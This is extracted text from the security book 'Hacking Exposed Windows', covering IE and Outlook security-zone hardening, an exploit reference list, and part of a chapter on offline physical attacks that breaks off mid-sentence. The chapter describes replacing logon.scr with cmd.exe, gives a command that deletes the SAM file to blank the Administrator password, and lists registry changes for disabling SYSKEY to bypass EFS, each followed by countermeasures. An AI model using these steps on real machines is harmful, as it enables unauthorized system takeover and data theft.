Windows: Windows Security Secrets & Solutions \nUse Locked-down Restricted Sites for Reading E-mail\nThe Restricted Sites zone is the opposite of the Trusted Sites zone—sites viewed in this \nzone are completely untrustworthy and thus the security settings for Restricted Sites \nshould be set to the most aggressive possible. In fact, we recommend that the Restricted \nSites zone be configured to disable all settings! This means set it to High, and then use \nthe Custom Level button to go back and manually disable everything that High leaves \nopen (or set them to “high safety” if Disable is not available).\nYou won’t actually assign sites to the Restricted Sites zone as we recommended with \nTrusted Sites, but you should use Restricted Sites for performing any high-risk activity, \nsuch as reading e-mail (think of Restricted Sites like a “security sandbox”). Fortunately, \nyou can also assign zone-like behavior to Outlook/Outlook Express (OE) for purposes of \nreading mail securely. With Outlook/OE, you select which zone you want to apply to \ncontent displayed in the mail reader—either the Internet zone or the Restricted Sites \nzone. Of course, we recommend setting it to a completely locked-down Restricted Sites \n(this has been the default in Outlook and OE since roughly 2000). Figure 10-7 shows how \nto configure Outlook for Restricted Sites.\nFigure 10-7 Confi guring Outlook to use the Restricted Sites zone when browsing\n" }, { "page_number": 367, "text": "Chapter 10: Hacking Microsoft Client Apps \n339\nAs with IE, the same drawbacks exist to setting Outlook to the most restrictive level. \nHowever, active content is more than just an annoyance when it comes in the form of an \ne-mail message, and the dangers of interpreting it far outweigh the aesthetic benefits.\nManaging Security Zones at Scale\nPrior to Windows XP SP2, the only supported mechanisms for managing Security Zone \nsettings across large numbers of machines was via the IE user interface, or via the IE \nAdministration Kit (IEAK). With XP SP2, Security Zone settings are managed using the \nGroup Policy Management Console and, if set, can be changed only by a Group Policy \nobject (GPO) or by an administrator. Of course, Group Policy requires Windows Server \nActive Directory, so this is not a truly lightweight management option, but we think it’s \nimportant to highlight for administrators of large numbers of Windows systems.\nLow-privilege Browsing\nIt’s slowly dawning on the dominant browser vendor that perhaps the web browser \nwields too much power in many scenarios, and the company has recently started taking \nsteps to limit the privileges of its software to protect against the inevitable 0-day exploit.\nOn Windows Server 2003, Microsoft’s default deployment of IE runs in Enhanced \nSecurity Configuration (ESC). This is an extremely restricted configuration that requires \ninteractive user validation to visit just about any site. Effectively, the user must manually \nadd every site requiring even moderate active functionality to the Trusted Sites zone. \nWhile this user experience is probably unacceptable for casual web browsing, it’s \nsomething we highly advise for servers, where activities like web and e-mail browsing \nshould be forbidden by policy. (See “References and Further Reading” for more about \nESC, including how to enforce it using Group Policy.)\nWe’ve already mentioned Protected Mode IE (PMIE) in this chapter. PMIE is an IE 7 \nfeature that leverages the Windows Vista UAC infrastructure to limit IE’s default \nprivileges. (See Chapters 2 and 13 for more information about PMIE and UAC.) PMIE \nuses the Mandatory Integrity Control (MIC) feature of UAC so that it cannot write to \nhigher integrity objects. Effectively, this means that PMIE can write only to the Temporary \nInternet Files (TIF) and Cookies folders for the currently interactive user account. It \ncannot write to other folders (like %userprofile% or %systemroot%), sensitive Registry \nhives (like HKEY Local Machine or HKEY Current User), or even other processes of higher \nintegrity. PMIE thus provides a nice sandbox for browsing untrusted resources. By \ndefault in Vista, PMIE is configured for browsing sites in the Internet, Restricted Sites, \nand Local Machine zones. Microsoft did not ship PMIE to pre-Vista Windows versions \nsuch as XP SP2, since it requires the UAC infrastructure of Vista.\nFor those of you who run other browsers, obviously PMIE is not an option as of this \nwriting. Although obviously not as robust as PMIE, running alternative browsers on \nVista within a non-Administrators account context with UAC provides protection against \nobvious executable drive-by attempts.\nFor Windows XP, we’ve also heard of colleagues running Firefox as a lower-privileged \nWindows account (such as Guest) using the runas tool on XP. Be careful, though, because \nrunning IE as a lower-privileged user has been discussed on mailing lists for some time, \nand in some scenarios the protection is not what it seems. For example, when IE is \n" }, { "page_number": 368, "text": "340 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nembedded in another application, launched via COM, or started via clicking a URL, it still \nruns as the current interactive account. This can lead to confusion over which IE windows \nare low-privileged and which are not. We’re not sure if these weaknesses translate to non-\nIE browsers or not. And of course, since the lower-privileged browser processes are still \nrunning on the same desktop with other applications, so-called Shatter attacks are still \nfeasible, in which one process attacks another via Windows messaging queues.\nSUMMARY\nWe hope this little jaunt to the other side of the client/server model has been eye-opening. \nAt the very least, it should invite broader consideration of the entire security posture of \nWindows technology infrastructures, including those ornery end users. Sleep better \nknowing that good user awareness (driven by policy), updated software (go to IE’s Tools | \nWindows Update), properly configured IE Security Zones, and network-based antivirus/\ncontent filtering can keep the threat to a minimum.\nREFERENCES AND FURTHER READING\nReference\nLocation\nMicrosoft Software Update \nResources\nMicrosoft Download Center: \nInternet Explorer Enhanced \nSecurity Confi guration\nwww.microsoft.com/downloads/\nMicrosoft Update\nhttp://windowsupdate.microsoft.com\nInternet Explorer Critical Updates\nwww.microsoft.com/windows/ie/\ndownloads/default.asp\nMicrosoft Offi ce Updates\nhttp://offi ce.microsoft.com\nMicrosoft Offi ce Isolated \nConversion Environment (MOICE)\nhttp://support.microsoft.com/kb/935865\nVulnerabilities, Exploits, and \nBulletins\nMicrosoft Speech API ActiveX \nControl Exploit, XP SP2 by \nA. Micalizzi\nhttp://milw0rm.com/exploits/4066\nKill bit—”How to stop an ActiveX \ncontrol from running in Internet \nExplorer” \nhttp://support.microsoft.com/kb/240797\nCross-site scripting vulnerability in \nversions 7.0.8 and earlier of Adobe \nReader and Acrobat\nwww.adobe.com/support/security/\nadvisories/apsa07-01.html\n" }, { "page_number": 369, "text": "Chapter 10: Hacking Microsoft Client Apps \n341\nReference\nLocation\nRSnake’s Adobe Acrobat PDF XSS \nexploit\nhttp://ha.ckers.org/blog/20070103/\npdf-xss-can-compromise-your-machine/\nMicrosoft Security Bulletin \nMS06-038, Microsoft Offi ce \nVulnerabilities\nwww.microsoft.com/technet/security/\nbulletin/MS06-038.mspx\n“Exploiting Vista with ANI” by \nAlexander Sotirov\nwww.determina.com/security.research/\nfl ash/ani.html\nWindows Animated Cursor \nHandling Exploit\nhttp://milw0rm.com/exploits/3634\nMicrosoft Security Bulletin MS07-\n017, the ANI vulnerability\nwww.microsoft.com/technet/security/\nbulletin/ms07-017.mspx\n“Microsoft Offi ce Security,” by \nKhushbu Jithra\nwww.securityfocus.com/infocus/1874\nMicrosoft Security Bulletin MS06-\n028, Vulnerability in Microsoft \nPowerPoint\nwww.microsoft.com/technet/security/\nBulletin/MS06-028.mspx\nMicrosoft Security Bulletin MS06-\n038, Vulnerabilities in Microsoft \nOffi ce\nwww.microsoft.com/technet/security/\nbulletin/MS06-038.mspx\nPowerPoint 2003 SP2 exploit\nwww.milw0rm.com/exploits/2091\nNanika.ppt Powerpoint exploit\nhttp://milw0rm.com/exploits/2523\nMSCR blog explaining PowerPoint \nnull dereference crash\nhttp://blogs.technet.com/msrc/\narchive/2006/11/10/follow-up-information-\non-weblog-posting-about-poc-published-for-\nms-offi ce-2003-powerpoint.aspx\nMichal Zalewski’s IE 6/7 \n“entrapment” exploit\nhttp://lcamtuf.coredump.cx/ierace/\nMicrosoft Security Bulletin MS04-\n004 covering address bar spoofi ng \nvulnerability\nwww.microsoft.com/technet/security/\nbulletin/ms04-004.mspx\nSecurity Confi guration\nIEBlog\nhttp://blogs.msdn.com/ie/default.aspx\nProtected Mode in Vista IE7\nhttp://blogs.msdn.com/ie/archive/2006/\n02/09/528963.aspx\nHow to read e-mail messages in \nplaintext using Microsoft products\nwww.microsoft.com/athome/security/\nonline/browsing_safety.mspx#3\nHow to use IE Security Zones\nhttp://support.microsoft.com/?kbid=174360\n" }, { "page_number": 370, "text": "342 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nReference\nLocation\nIE’s Internet Security Manager \nObject\nhttp://msdn2.microsoft.com/en-us/library/\nms537026.aspx\n“ActiveX Security: Improvements \nand Best Practices”\nhttp://msdn2.microsoft.com/en-us/library/\nBb250471.aspx\nKill-bitting ActiveX controls\nhttp://support.microsoft.com/?kbid=240797\n“How to strengthen the security \nsettings for the Local Machine \nZone in Internet Explorer”\nhttp://support.microsoft.com/?kbid=833633\nURL Action Flags\nhttp://msdn2.microsoft.com/en-us/library/\nms537178.aspx\nInternet Explorer Administration \nKit (IEAK)\nwww.microsoft.com/windows/ieak/\ntechinfo/default.mspx\nEnhanced Security Confi guration \n(ESC) for IE\nwww.microsoft.com/windowsserver2003/\ndevelopers/iesecconfi g.mspx\nInternet Explorer on Wikipedia, \nhistorical overview, links\nhttp://en.wikipedia.org/wiki/\nInternet_Explorer\nTrickery: Phishing, Adware, and \nSpyware\nAnti-Phishing Working Group\nhttp://anti-phishing.org/\nJunkBusters\nwww.junkbusters.com\nSpywareInfo\nwww.spywareinfo.com\nSpywareGuide\nwww.spywareguide.com\nComputer Associates (CA) \nSpyware Information Center\nwww.ca.com/us/securityadvisor/pest/\npest.aspx?id=45\nFree Spyware Scan\nhttp://pestpatrol.com/\nSpybot Search & Destroy\nwww.safer-networking.org\nAd-Aware\nwww.lavasoft.de\nAutostart Extensibility Points \n(ASEPs)\nwww.pestpatrol.com/PestInfo/\nAutoStartingPests.asp\nBrowser Helper Objects (BHOs)\nhttp://msdn2.microsoft.com/en-us/library/\nbb250436.aspx\nBrowser Helper Objects (BHOs) \nsummary\nwww.spywareinfo.com/articles/bho/\n“How Windows Defender \nidentifi es spyware”\nwww.microsoft.com/athome/security/\nspyware/software/msft/analysis.mspx\nWindows Defender\nwww.microsoft.com/athome/security/\nspyware/software/default.mspx\n" }, { "page_number": 371, "text": "Chapter 10: Hacking Microsoft Client Apps \n343\nReference\nLocation\n“Windows Defender compared \nwith other Microsoft anti-spyware \nand anti-virus technologies”\nwww.microsoft.com/athome/\nsecurity/spyware/software/about/\nproductcomparisons.mspx\nOnline Fraud Resources\nAWPG “Consumer Advice: How to \nAvoid Phishing Scams”\nhttp://anti-phishing.org/\nconsumer_recs.html\nInternet Crime Complaint Center \n(run by the FBI and NW3C)\nwww.ic3.gov/\nPrivacy Rights Clearing House \n“Identity Theft Resources”\nwww.privacyrights.org/identity.htm\nUS Federal Trade Commission \n(FTC) Identity Theft Site\nwww.consumer.gov/idtheft/\n" }, { "page_number": 372, "text": "This page intentionally left blank \n" }, { "page_number": 373, "text": "345\n11\nPhysical \nAttacks\n" }, { "page_number": 374, "text": "346 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nU\np to this point, we have considered several logical attacks mounted over a \nnetwork by an adversary. This chapter breaks from that approach to discuss \nattacks launched with unrestricted physical access to a Windows system. \nAlthough numerous physical attack paradigms can be effective in different scenarios, \nsince this book is focused on Windows, we limit our discussion to two:\n• Offl ine attacks These typically involve booting the target computer to an \nalternative operating system to perform the attack, and they typically require \nsubstantial time and interaction to implement successfully. The standard \nscenario here is a stolen laptop that is no longer under physical control of \nthe authorized user.\n• Online attacks The machine is attacked while running, typically via “user \nvs. user” attacks, or by connecting a malicious device, media, and/or network \nto compromise the entire system. These attacks typically require only a few \nseconds and little or no interaction. The standard scenario here is a machine that \nremains under physical control of the authorized user, but is administratively \ncontrolled (“rootkitted”) by the attacker.\nBoth of these attack types are designed to bypass the operating system’s security \ncontrols, rendering them useless. We focus on those attacks that are relevant to specific \nfeatures of Windows designed to mitigate them.\nOFFLINE ATTACKS\nThis book has catalogued the many security controls implemented by the Windows \noperating system. However, if Windows isn’t loaded, it cannot enforce those controls, \nand all the data on the system becomes accessible to whatever operating environment \ntakes its place.\nNumerous mechanisms for booting to alternative operating environments exist for \nWindows PCs. One of the earliest and easiest was simply to boot to Windows’ command-\nline predecessor, DOS. DOS was limited in its functionality, however, and this led to the \nrelease of products like Sysinternals’ freeware NTFSDOS and Winternals’ more advanced \nERD Commander that provided an advanced offline system repair, diagnosis, and \nrecovery environment that addressed many of DOS’s shortcomings (such as the inability \nto deal with the NT File System, or NTFS).\nMicrosoft subsequently got into the act with WinPE (for Windows Preinstallation \nEnvironment), a non-public, lightweight version of Windows XP that could be loaded \nfrom a CD-ROM or DVD. Bart Lagerweij has released a freeware alternative to WinPE \ncalled BartPE that imitates the WinPE functionality (offering a self-contained, bootable \nWin32 environment with network support, a graphical user interface up to 800×600, and \nFAT/NTFS/CDFS file system support).\n" }, { "page_number": 375, "text": "Chapter 11: Physical Attacks \n347\nOf course, any other operating system can be loaded in place of Windows and \nsubsequently used to access Windows resources in an offline state. Because of its \nextensibility and small kernel footprint, Linux is commonly used to build boot disks that \ncan be used to sidestep Windows and attack the system in an offline state, as we will see \nin this chapter. Virtualization software is another alternative to gaining offline access, \nusing tools such as VMWare or Parallels to mount offline disks.\nUndoubtedly, we’ve missed a few of the many ways to boot Windows PCs to alternate \noperating environments, but those listed here are the classics. Enough preparation—let’s \njump in and examine the types of attacks that are possible once Windows has been \nremoved from the picture.\nReplacing the Screensaver\nPopularity:\n8\nSimplicity:\n9\nImpact:\n5\nRisk Rating:\n7\nWe’ll start our discussion of physical attacks with a simple but potentially devastating \ntrick: copying the NT family command shell (%systemroot%\\system32\\cmd.exe) over \nthe logon screensaver (%systemroot%\\system32\\logon.scr). You can do this using any \nboot media that can mount the system partition (for example, NTFSDOS).\nAs simple as this attack may sound, it works on Windows 2000 and previous versions: \nonce the screensaver kicks in, a command shell pops up, running in the context of the \nSYSTEM account. From here, you can issue the explorer command to launch a \ngraphical shell or simply go to town via the command shell.\nOf course, the system must be booted to the alternate operating environment, and \nthen the attacker has to wait for the screensaver to kick in before exploiting the situation, \nso a successful attack requires somewhat unrestricted and unmonitored physical access \nto the victim machine. A batch script could be used to automate the copying of cmd.exe \nover logon.scr, reducing somewhat the amount of time an attacker has to spend in front \nof the target machine. In this scenario, the attacker could walk up, insert a CD-ROM, \npower cycle the system, and remove the CD once it’s done its dirty work. The attacker \nthen has to wait until the screensaver kicks in before actually getting to any juicy data. \nWould you be back from your coffee break by then?\nOnce the SYSTEM shell has been obtained, it is fairly easy to attack the system via \ntechniques outlined in Chapter 7, exposing it to the many risks we will discuss in the \nremainder of this chapter.\nCountermeasures to Replacing the Screensaver\nThis is an easy one—upgrade to Windows Server 2003 or later. Although this will not deflect \nthis attack, it does lower the privilege of the resulting shell to the Local Service account.\n" }, { "page_number": 376, "text": "348 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nNullifying the Administrator Password by Deleting the SAM\nPopularity:\n8\nSimplicity:\n9\nImpact:\n10\nRisk Rating:\n9\nOn July 25, 1999, James J. Grace and Thomas S.V. Bartlett III released a stunning \npaper describing how to nullify the Administrator password by booting to an alternate \nOS and deleting the SAM file. Yes, amazingly simple as it sounds, the act of deleting the \nSAM file while the system is offline results in the ability to log in as Administrator with \na NULL password when the system is rebooted. This attack also deletes any existing user \naccounts presently on the target system, but if these are of secondary importance to the \ndata on disk, this is of little concern to the attacker.\nThe attack could be implemented in various ways, but the most straightforward is to \nboot to any alternative operating environment and delete the file. The following command \nis performed from a floppy disk mounted as the A: drive that has used NTFSDOS to \nmount the Windows C: partition in an offline state:\nA:\\>del c:\\winnt\\system32\\config\\sam\nThis assumes that the system folder retains default naming conventions. Use the dir\ncommand or echo %systemroot% to check the actual path.\nWhen the system is next booted, Windows re-creates a default SAM file, which \ncontains an Administrator account with a blank password. Simply logging on using \nthese credentials will yield complete control of the system.\nIt is important to note here that Windows 2000 and later domain controllers are not \nvulnerable to having the SAM deleted because they do not keep password hashes in the \nSAM. However, Grace and Bartlett’s paper describes a mechanism for achieving essentially \nthe same result on domain controllers by installing a second copy of Windows 2000.\nWe discuss countermeasures for this attack in the upcoming section entitled “Countermeasures for \nOffline Attacks.”\nInjecting Hashes into the SAM with chntpw\nPopularity:\n8\nSimplicity:\n10\nImpact:\n10\nRisk Rating:\n9\nAttackers who desire a more sophisticated physical attack mechanism that doesn’t \nobliterate all accounts on the system can inject password hashes into the SAM while \noffline using a Linux boot floppy and chntpw by Petter Nordahl-Hagen. Yes, you heard \n" }, { "page_number": 377, "text": "Chapter 11: Physical Attacks \n349\nright: change any user account password on the system, even the Administrator, and even if it \nhas been renamed.\nCatch your breath—here’s an even more interesting twist: injection works even if \nSYSKEY has been applied, and even if the option to protect the SYSKEY with a password \nor store it on a floppy has been selected.\n“Wait a second,” we hear someone saying. “SYSKEY applies a second, 128-bit strong \nround of encryption to the password hashes using a unique key that is either stored in \nthe Registry, optionally protected by a password, or stored on a floppy disk (see Chapter 2). \nHow in blazes can someone inject fraudulent hashes without knowing the system key \nused to create them?”\nPetter figured out how to turn SYSKEY off. Even worse, he discovered that an attacker \nwouldn’t have to—old-style pre-SYSKEY hashes injected into the SAM will automatically be \nconverted to SYSKEYed hashes upon reboot. You have to admire this feat of reverse \nengineering.\nFor the record, here’s what Petter does to turn off SYSKEY (even though he doesn’t \nhave to):\n \n1. Set HKLM\\System\\CurrentControlSet\\Control\\Lsa\\SecureBoot to 0 to \ndisable SYSKEY. (The possible values for this key are 0–Disabled; 1–Key stored \nunprotected in Registry; 2–Key protected with passphrase in Registry; 3–Key \nstored on fl oppy.)\n \n2. Change a specifi c fl ag within the HKLM\\SAM\\Domains\\Account\\F binary \nstructure to the same mode as SecureBoot earlier. This key is not accessible \nwhile the system is running.\n \n3. On Windows 2000 only, the HKLM\\security\\Policy\\PolSecretEncryptionKey\\\n key will also need to be changed to the same value as the previous \ntwo keys.\nAccording to Petter, changing only one of the first two values on NT 4 up to SP6 \nresults in a warning about inconsistencies between the SAM and system settings on \ncompleted boot, and SYSKEY is reinvoked. On Windows 2000, inconsistencies between \nthe three keys seem to be silently reset to the most likely value on reboot.\nOnce again, we remind everyone that this technique as currently written will not \nchange user account passwords on Windows 2000 and later domain controllers because \nit targets only the SAM file. Recall that on domain controllers, password hashes are \nstored in the Active Directory, not in the SAM.\nUse of these techniques may result in a corrupt SAM, or worse. Test them only on expendable NT \nfamily installations, as they may become unbootable. In particular, do not select the Disable SYSKEY \noption in chntpw on Windows 2000 and later. It has reportedly had extremely deleterious effects, often \nrequiring a complete reinstall.\nImplications for EFS\nThe aforementioned offline attacks against the SAM have grave implications for the \nEncrypting File System (EFS), which was first implemented in Windows 2000 to prevent \nphysical compromise of the system from resulting in compromise of the data it carried.\n" }, { "page_number": 378, "text": "350 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nLinks to more information on EFS can be found in “References and Further Reading,” \nbut in brief, EFS can encrypt a file or folder with a fast, symmetric encryption algorithm \nusing a randomly generated file encryption key (FEK) specific to that file or folder. EFS \nuses the Extended Data Encryption Standard (DESX) as the encryption algorithm. \n(Windows Server 2003 implements additional algorithms.) The randomly generated FEK \nis then itself encrypted with one or more public keys, including those of the user (each \nuser under Windows 2000 and later receives a public/private key pair) and a key recovery \nagent. These encrypted values are stored as attributes of the file.\nKey recovery is implemented in case users who have encrypted some sensitive data \nleave an organization or their encryption keys are lost, for example. To prevent \nunrecoverable loss of the encrypted data, Windows 2000 and later mandates the existence \nof a data recovery agent for EFS—EFS will not work without a recovery agent. Because \nthe FEK is completely independent of a user’s public/private key pair, a recovery agent \nmay decrypt the file’s contents without compromising the user’s private key. The default \ndata recovery agent for a system is the local Administrator account.\nUnfortunately, bypassing EFS using offline attacks is nearly as trivial as bypassing \nthe OS itself using techniques we’ve already demonstrated. This situation arises from the \nclose intertwining of Windows user account credentials with the cryptographic keys \nused to unlock EFS. This is a classic cryptographic weakness—although the algorithms \nand implementation of EFS are quite secure on paper, the system is ultimately hamstrung \nby its reliance on a simple username/password pair for much of its security. Next, we \nlook at some specific attacks against EFS.\nReading EFS-Encrypted Files Using the Recovery Agent Credentials\nPopularity:\n8\nSimplicity:\n9\nImpact:\n10\nRisk Rating:\n9\nThe ability to nullify or overwrite the Administrator account password takes on a \nmore serious scope once it is understood that Administrator is the default key recovery \nagent for EFS. Once successfully logged in to a system with the blank Administrator \npassword, EFS-encrypted files are decrypted as they are opened, since the Administrator \ncan transparently access the FEK using its recovery key.\nTo understand how this works, recall that the randomly generated FEK (which can \ndecrypt the file) is itself encrypted by other keys, and these encrypted values are stored \nas attributes of the file. The FEK encrypted with the user’s public key (every user under \nWindows 2000 and later receives a public/private key pair) is stored in an attribute called \nthe Data Decipher Field (DDF) associated with the file. When the user accesses the file, \nher private key decrypts the DDF, exposing the FEK, which then decrypts the file. The \nvalue resulting from the encryption of the FEK with the recovery agent’s key is stored in \nan attribute called the Data Recovery Field (DRF). Thus, if the local Administrator is the \n" }, { "page_number": 379, "text": "Chapter 11: Physical Attacks \n351\ndefined recovery agent (which it is by default), anyone who attains Administrator (RID \n500) on this system is able to decrypt the DRF with her private key, revealing the FEK, \nwhich can then decrypt any local EFS-protected file.\nDefeating Recovery Agent Delegation But wait—what if the recovery agent is delegated to \nparties other than the Administrator? Grace and Bartlett defeated this countermeasure \nby planting a service to run at startup that resets the password for any account defined \nas a recovery agent (which is pretty heavy handed, since at this point, one effectively \nowns the system anyway).\nOf course, an attacker doesn’t have to focus exclusively on the recovery agent; it just \nhappens to be the easiest way to access all of the EFS-encrypted files on disk. Another \nway to circumvent a delegated recovery agent is simply to masquerade as the user who \nencrypted the file. Using chntpw (as discussed earlier), any user’s account password can \nbe reset via offline attack. An attacker could then log on as the user and decrypt the DDF \ntransparently with the user’s private key, unlocking the FEK and decrypting the file. The \ndata recovery agent’s private key is not required.\nYou can use the Resource Kit efsinfo tool to determine to which account an encrypted file belongs \nwith the following syntax: efsinfo /r /u [filename].\nReading EFS-Encrypted Data with User Account Credentials It is critical to note here that \nattacking the default recovery agent (the local Administrator account for non-domain-\njoined machines) is the easiest method only for attacking EFS. Attacking user accounts \nwill always allow decryption of any file encrypted by that user account via EFS. Remember \nthat the FEK encrypted with the user’s private key is stored in the DDF associated with \nevery EFS-encrypted file. The act of logging on as that user will allow transparent \ndecryption of every file she previously encrypted. The only real protection against user \naccount attacks against EFS is SYSKEY mode 2 or 3 (discussed next). Although SYSKEY \n2/3 can be disabled using chntpw, EFS-encrypted files cannot be decrypted, because EFS \nkeys are stored in the Local Security Authority (LSA) Secrets cache, which requires the \nSYSKEY to unlock. The original SYSKEY is not available if disabled using chntpw.\nCountermeasures for Offl ine Attacks\nAs long as attackers can gain unrestricted physical access to a system, countering these \nattacks is quite difficult.\nThe most effective ways to stop offline attacks are to keep systems physically secure \n(using locks, monitoring, and/or alarms as appropriate for the room, computer case, \nand/or mobile device), remove or disable bootable removable media drives, and set a \nBIOS password that must be entered before the system can be bootstrapped. Optimally, \nset a password for hard drive access using ATA-3 specs or greater. Effective monitoring \nprocedures are also important, so even if someone does manage to get to a machine, at \nleast his actions are recorded (such as via video surveillance). We recommend using all \nof these mechanisms where physical security risks are high.\n" }, { "page_number": 380, "text": "352 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nFor stand-alone systems (we’ll talk about the implications of joining a domain in a \nmoment), the only OS-level method to blunt an attack of this nature partially is to \nconfigure Windows 2000 and later to boot in SYSKEY password- or floppy-required \nmode. (See Chapter 2 for a discussion on the three modes of SYSKEY.)\nIt is interesting to note that Microsoft asserts in its response to the Grace and Bartlett \npaper that the ability to delete the SAM, causing the Administrator password to be reset \nto NULL, can be solved by SYSKEY. Don’t be misled—we have already demonstrated \nthat this is false unless the SYSKEY password- or floppy-required mode is set (the paper \ndoes not refer to this).\nWhile SYSKEY mode 2 or 3 will prevent simple attacks such as deleting the SAM to \nnullify the Administrator password, it will not dissuade an attacker who uses chntpw to \ndisable SYSKEY, no matter what mode it is in (although this risks crippling the target \nsystem if it is Windows 2000 and later). However, in a paper entitled “Analysis of Alleged \nVulnerability in Windows 2000 Syskey and the Encrypting File System” (see “References \nand Further Reading”), Microsoft notes that even though disabling SYSKEY in mode 2 \nor 3 can allow an attacker to log in to a system, he will be unable to access EFS-encrypted \nfiles because the SYSKEY is not stored on the system and thus is not available to unlock \nthe LSA Secrets store where the EFS keys are kept. So, SYSKEY implemented in mode 2 \nor 3, while not sufficient to deny access to the system, will deny access to EFS-encrypted \nfiles. We thus recommend setting SYSKEY in mode 2 or 3 for mobile users who risk \nhaving their laptops stolen.\nExport Recovery Keys and Store Them Securely Another OS-level mechanism for mitigating \nthe risk of a recovery agent key attack is to export the recovery agent key and delete it \nfrom the local system.\nUnfortunately, Microsoft poorly documents this procedure, so we reiterate it here in \ndetail. To export the recovery agent(s) certificates on stand-alone systems, open the local \nGroup Policy object (gpedit.msc), browse to the Computer Configuration\\Windows \nSettings\\Security Settings\\Public Key Policies\\Encrypted Data Recovery Agents node, \nright-click the recovery agent listed in the right pane (usually, this is Administrator), and \nchoose All Tasks | Export.\nA wizard will run, prompting you to enter various pieces of information before the \nkey can be exported. To back up the recovery agent key, you must export the private key \nalong with the certificate; we recommend enabling strong protection (this requires a \npassword). Finally, make sure to select Delete The Private Key If Export Is Successful. \nThis last step is what makes stealing the recovery agent decryption key from the local \nsystem highly improbable (we just hate to say impossible).\nRecall that deleting the recovery agent certificate before exporting it will disable EFS since Windows \n2000 mandates a recovery agent. EFS doesn’t work unless a recovery agent is defined!\nItems that have been encrypted prior to the deletion of the recovery agent remain \nencrypted, but, of course, they can be opened only by the encrypting user unless the \nrecovery agent can be restored from backup.\nImplement EFS in the Context of a Windows Domain For machines joining a domain, the \nsituation is different: the domain controller holds the recovery key for all systems in the \n" }, { "page_number": 381, "text": "Chapter 11: Physical Attacks \n353\ndomain. When a Windows 2000 or later machine joins a domain, the Domain Default \nRecovery Policy automatically takes effect; the Domain Administrator, rather than the \nlocal Administrator, becomes the recovery agent. This physically separates the recovery \nkeys from the encrypted data and makes attacking the recovery agent key much more \ndifficult.\nIt is good practice to export the recovery agent certificate from domain controllers as \nwell. If the domain controllers were compromised, every system in the domain would \nbecome vulnerable if the recovery key were available locally.\nIt is critical to remind everyone that even though the recovery agent key may be \nprotected by exporting and deleting it from the local machine, or by joining a domain, \nnone of these countermeasures will protect EFS-encrypted data from an attacker that \ncompromises the user account that encrypted the data. Remember that the FEK encrypted \nwith the user’s public key is stored in the DDF associated with every EFS-encrypted \nfile. The act of logging in as that user will allow transparent decryption of every file she \npreviously encrypted. Thus, SYSKEY mode 2 or 3 is the only real valid protection for \nEFS data.\nIf you use SYSKEY mode 3, don’t store the floppy in proximity to the protected system; otherwise, you \nwill have mostly defeated the protection.\nTo drive this point home, let’s consider the NT family logon cache. That’s right, as we \nmentioned in Chapter 2, all NT family systems cache domain credentials on the local\nmachine to allow authentication, even if the domain controller is not reachable. Did you \never wonder how you could log on to the domain from your laptop when you weren’t \neven plugged into the network? This is because by default the last 10 sets of domain \nauthentication credentials are stored on the machine—in essence, you are authenticating \nwith your own cached username/password!\nThis feature is described in Microsoft Knowledge Base article 172931, which also \ndescribes the Registry key to configure this setting. With Windows 2000, this setting is \nexposed via the Security Policy option Interactive Logon: Number Of Previous Logons \nTo Cache (In Case Domain Controller Is Not Available). This setting is particularly \nrelevant to EFS, because if an attacker with physical access to a machine could obtain the \nlogon cache, he could authenticate as a user and view the user’s EFS-encrypted files. \nTodd Sabin of Bindview’s Razor security research team presented just this attack at the \nBlack Hat Conference in 2001, and he also posted a brief description of his approach to \nthe Bugtraq mailing list in early 2003. Todd demonstrated the use of a tool he called \nhashpipe to dump the logon cache of an NT family system, revealing the hashed \npasswords of cached logons. (Note that hashpipe has not been published.) Although the \npasswords would still have to be cracked (see Chapter 7), this approach does expose a \npotential loophole in the security of EFS used in the context of a domain. Solution? Set \nthe domain logon cache to zero, as shown in Figure 11-1.\nSetting the domain logon cache to zero will prevent domain users from logging on to a system unless \na domain controller is reachable.\n" }, { "page_number": 382, "text": "354 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nUsing alternative authentication mechanisms (for example, requiring a smart card for logon) is another \ngood way to avoid attacks against the logon cache.\nBitlocker Drive Encryption (BDE) With Windows Vista, Microsoft introduced Bitlocker \nDrive Encryption (BDE). We discuss BDE in more detail in Chapter 12. Although BDE \nwas primarily designed to provide greater assurance of operating system integrity, one \nancillary result from its protective mechanisms is to blunt the offline attacks we’ve \ndescribed in this chapter. Rather than associating data encryption keys with individual \nuser accounts as EFS does, BDE encrypts entire volumes and stores the key in ways that \nare much more difficult to compromise (at least at the time of this publication, no effective \nmechanisms have been published). With BDE, an attacker who gets unrestricted physical \naccess to the system (say, by stealing a laptop) cannot decrypt data stored on the encrypted \nvolume because Windows won’t load if it has been tampered with, and booting to an \nalternate OS will not provide access to the decryption key since it is stored securely. (See \nChapter 12 for more information on the various options BDE can use to protect the \nvolume encryption key.)\nONLINE ATTACKS\nNow that we’ve covered offline physical attacks that typically require booting to an \nalternative OS, let’s shift gears and discuss physical attacks that are implemented while \nthe system is online.\nFigure 11-1 The previous logon cache setting in Windows XP’s Local Security Policy\n" }, { "page_number": 383, "text": "Chapter 11: Physical Attacks \n355\nEFS Temporary File Data Retrieval\nPopularity:\n8\nSimplicity:\n10\nImpact:\n10\nRisk Rating:\n9\nThis attack differs from others discussed previously in that it does not require booting \nto an alternative OS. It can be mounted via the standard Windows user interface, given \nappropriate privileged access to a system and given that the data in question has not been \noverwritten by normal file operations. It can even be implemented remotely assuming \ninteractive remote control is possible. Of course, given Administrator access to Windows, \nthe attacker could simply use techniques described previously to access the EFS-protected \nfiles. However, the attack described here provides a less invasive mechanism for accessing \nthe data than booting to an alternative OS and is thus worthy of exploring.\nOn January 19, 2001, Rickard Berglind posted an interesting observation to the popular \nBugtraq security mailing list. It turns out that when a file is selected for encryption via EFS, \nthe file is actually not encrypted directly. Rather, a backup copy of the file is moved into a \ntemporary directory and renamed efs0.tmp. Then, the data from this file is encrypted and \nused to replace the original file. The backup file is deleted after encryption is complete.\nHowever, after the original file is replaced with the encrypted copy and the temporary \nfile is deleted, the physical blocks in the file system where the temporary file resided are \nnever cleared. These blocks contain the original, unencrypted data. In other words, the \ntemporary file is deleted in the same way any other file is “deleted”—an entry in the \nmaster file table is marked as empty and the clusters where the file was stored are marked \nas available, but the physical file and the information it contains will remain in plaintext \non the physical surface of the disk. When new files are added to the partition, they will \ngradually overwrite this information, but if the encrypted file was large, it could be left \nfor 